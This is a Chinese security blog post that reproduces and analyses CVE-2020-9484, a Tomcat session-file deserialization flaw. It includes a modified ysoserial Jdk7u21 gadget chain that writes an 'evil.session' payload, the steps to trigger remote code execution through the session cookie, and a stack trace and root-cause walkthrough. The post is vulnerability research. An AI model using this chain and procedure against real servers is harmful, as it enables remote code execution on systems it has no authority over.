警告
本文最后更新于 2020-05-25 ,文中内容可能已过时。
tomcat的rce,可惜不是默认配置。
Tomcat 7.0.99 JDK7u21 <= 9.0.34 <= 8.5.54 <= 7.0.103 修改catalina.bat添加一行
1
set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001
idea配置remote tomcat调试 端口为8001
修改tomcat路径conf目录下的context.xml 在<Context>
标签内加入以下配置
1
2
3
4
5
6
7
8
9
<Manager className= "org.apache.catalina.session.PersistentManager"
debug= "0"
saveOnRestart= "false"
maxActiveSession= "-1"
minIdleSwap= "-1"
maxIdleSwap= "-1"
maxIdleBackup= "-1" >
<Store className= "org.apache.catalina.session.FileStore" directory= "../sessions" />
</Manager>
为了方便burp抓包,修改server.xml端口为80
下载ysoserial使用idea导入之后修改jdk7u21的链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package ysoserial.payloads ;
import ysoserial.payloads.annotation.Authors ;
import ysoserial.payloads.annotation.Dependencies ;
import ysoserial.payloads.annotation.PayloadTest ;
import ysoserial.payloads.util.Gadgets ;
import ysoserial.payloads.util.JavaVersion ;
import ysoserial.payloads.util.PayloadRunner ;
import ysoserial.payloads.util.Reflections ;
import javax.xml.transform.Templates ;
import java.io.FileOutputStream ;
import java.io.ObjectOutputStream ;
import java.lang.reflect.InvocationHandler ;
import java.util.HashMap ;
import java.util.LinkedHashSet ;
@SuppressWarnings ({ "rawtypes" , "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion" )
@Dependencies ()
@Authors ({ Authors . FROHOFF })
public class Jdk7u21 implements ObjectPayload < Object > {
public static boolean serialize ( Object obj , String file ) {
try {
ObjectOutputStream os = new ObjectOutputStream ( new FileOutputStream ( file ));
os . writeObject ( obj );
os . close ();
return true ;
} catch ( Exception e ) {
e . printStackTrace ();
} finally {
return false ;
}
}
public static boolean isApplicableJavaVersion () {
JavaVersion v = JavaVersion . getLocalVersion ();
return v != null && ( v . major < 7 || ( v . major == 7 && v . update <= 21 ));
}
public static void main ( final String [] args ) throws Exception {
PayloadRunner . run ( Jdk7u21 . class , args );
}
public Object getObject ( final String command ) throws Exception {
final Object templates = Gadgets . createTemplatesImpl ( command );
String zeroHashCodeStr = "f5a5a608" ;
HashMap map = new HashMap ();
map . put ( zeroHashCodeStr , "foo" );
InvocationHandler tempHandler = ( InvocationHandler ) Reflections . getFirstCtor ( Gadgets . ANN_INV_HANDLER_CLASS ). newInstance ( Override . class , map );
Reflections . setFieldValue ( tempHandler , "type" , Templates . class );
Templates proxy = Gadgets . createProxy ( tempHandler , Templates . class );
LinkedHashSet set = new LinkedHashSet (); // maintain order
set . add ( templates );
set . add ( proxy );
Reflections . setFieldValue ( templates , "_auxClasses" , null );
Reflections . setFieldValue ( templates , "_class" , null );
map . put ( zeroHashCodeStr , templates ); // swap in real object
serialize ( set , "e:/evil.session" );
return set ;
}
}
配置idea参数为
然后运行生成e:/evil.session
文件,将其保存到D:\tomcat\apache-tomcat-7.0.99\work\Catalina\localhost\cve-2020-9484_war\sessions
目录中,burp抓包设置session为evil,触发反序列化达成RCE。
在php中会将用户session以文件的形式存储到服务器中,java自然也可以,对于大型的企业应用,为了避障会将数据库或者session以文件的形式保存到文件中,那么以文件的形式保存对象自然就涉及到了序列化和反序列化。
通过复现漏洞可知该反序列化入口点在于Context.xml
中配置的org.apache.catalina.session.FileStore
,查看其代码在load()中发现readObjcet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public Session load ( String id ) throws ClassNotFoundException , IOException {
File file = this . file ( id );
if ( file != null && file . exists ()) {
Context context = ( Context ) this . getManager (). getContainer ();
Log containerLog = context . getLogger ();
if ( containerLog . isDebugEnabled ()) {
containerLog . debug ( sm . getString ( this . getStoreName () + ".loading" , new Object [] { id , file . getAbsolutePath ()}));
}
FileInputStream fis = null ;
ObjectInputStream ois = null ;
Loader loader = null ;
ClassLoader classLoader = null ;
ClassLoader oldThreadContextCL = Thread . currentThread (). getContextClassLoader ();
StandardSession var11 ;
try {
fis = new FileInputStream ( file . getAbsolutePath ());
loader = context . getLoader ();
if ( loader != null ) {
classLoader = loader . getClassLoader ();
}
if ( classLoader != null ) {
Thread . currentThread (). setContextClassLoader ( classLoader );
}
ois = this . getObjectInputStream ( fis );
StandardSession session = ( StandardSession ) this . manager . createEmptySession ();
session . readObjectData ( ois );
session . setManager ( this . manager );
var11 = session ;
return var11 ;
} catch ( FileNotFoundException var25 ) {
...
}
}
代码很明显,通过id打开session文件,然后获取context的类加载器赋值给当前线程的类加载器,以此拿到当前容器Container中的lib,session.readObjectData(ois)
中触发了反序列化RCE。
在 java/org/apache/catalina/session/FileStore.java 中判断了目录是否有效
因为通过当前Container的类加载器反序列化对象,所以能拿到当前war包中的lib,所以有什么用什么,什么都没有就用jdk的gatget。
直接使用ysoserial生成的payload不行,在java/io/ObjectInputStream.java:299
中会验证前几位字节码,抛出异常,堆栈如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
readStreamHeader : 799 , ObjectInputStream ( java . io )
< init > : 299 , ObjectInputStream ( java . io )
< init > : 95 , CustomObjectInputStream ( org . apache . catalina . util )
getObjectInputStream : 237 , StoreBase ( org . apache . catalina . session )
load : 248 , FileStore ( org . apache . catalina . session )
loadSessionFromStore : 789 , PersistentManagerBase ( org . apache . catalina . session )
swapIn : 739 , PersistentManagerBase ( org . apache . catalina . session )
findSession : 517 , PersistentManagerBase ( org . apache . catalina . session )
doGetSession : 3147 , Request ( org . apache . catalina . connector )
getSession : 2489 , Request ( org . apache . catalina . connector )
getSession : 897 , RequestFacade ( org . apache . catalina . connector )
getSession : 909 , RequestFacade ( org . apache . catalina . connector )
_initialize : 147 , PageContextImpl ( org . apache . jasper . runtime )
initialize : 126 , PageContextImpl ( org . apache . jasper . runtime )
internalGetPageContext : 111 , JspFactoryImpl ( org . apache . jasper . runtime )
getPageContext : 64 , JspFactoryImpl ( org . apache . jasper . runtime )
_jspService : 6 , index_jsp ( org . apache . jsp )
service : 70 , HttpJspBase ( org . apache . jasper . runtime )
service : 728 , HttpServlet ( javax . servlet . http )
service : 477 , JspServletWrapper ( org . apache . jasper . servlet )
serviceJspFile : 395 , JspServlet ( org . apache . jasper . servlet )
service : 339 , JspServlet ( org . apache . jasper . servlet )
service : 728 , HttpServlet ( javax . servlet . http )
internalDoFilter : 303 , ApplicationFilterChain ( org . apache . catalina . core )
doFilter : 208 , ApplicationFilterChain ( org . apache . catalina . core )
doFilter : 52 , WsFilter ( org . apache . tomcat . websocket . server )
internalDoFilter : 241 , ApplicationFilterChain ( org . apache . catalina . core )
doFilter : 208 , ApplicationFilterChain ( org . apache . catalina . core )
invoke : 219 , StandardWrapperValve ( org . apache . catalina . core )
invoke : 110 , StandardContextValve ( org . apache . catalina . core )
invoke : 492 , AuthenticatorBase ( org . apache . catalina . authenticator )
invoke : 165 , StandardHostValve ( org . apache . catalina . core )
invoke : 104 , ErrorReportValve ( org . apache . catalina . valves )
invoke : 1025 , AccessLogValve ( org . apache . catalina . valves )
invoke : 116 , StandardEngineValve ( org . apache . catalina . core )
service : 452 , CoyoteAdapter ( org . apache . catalina . connector )
process : 1195 , AbstractHttp11Processor ( org . apache . coyote . http11 )
process : 654 , AbstractProtocol$AbstractConnectionHandler ( org . apache . coyote )
doRun : 2532 , AprEndpoint$SocketProcessor ( org . apache . tomcat . util . net )
run : 2521 , AprEndpoint$SocketProcessor ( org . apache . tomcat . util . net )
runWorker : 1145 , ThreadPoolExecutor ( java . util . concurrent )
run : 615 , ThreadPoolExecutor$Worker ( java . util . concurrent )
run : 61 , TaskThread$WrappingRunnable ( org . apache . tomcat . util . threads )
run : 722 , Thread ( java . lang )
具体原因可能是因为yso对于反序列化对象写入文件的操作不一样,自己写一个serialize()就行了
先谈约束条件吧,利用难度还是比较大的。
不是默认配置,需要手动增加Context.xml
文件上传 文件后缀需要是.session
需要知道绝对路径来跨目录 拓展下攻击面,比如redis,这里@l1nk3r
师傅公开了另一种使用redis的反序列化场景 ,问题出现在RedisSession
类中,原理和9484差不多,id从jsessionid获取,value是反序列化数据,配合redis任意写入value来触发反序列化。
另一种使用redis的反序列化场景 https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222#diff-d7c9b18d315c5a1fb1e71831656064ad https://www.sec-in.com/article/394 https://www.cnblogs.com/potatsoSec/p/12931427.html 文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。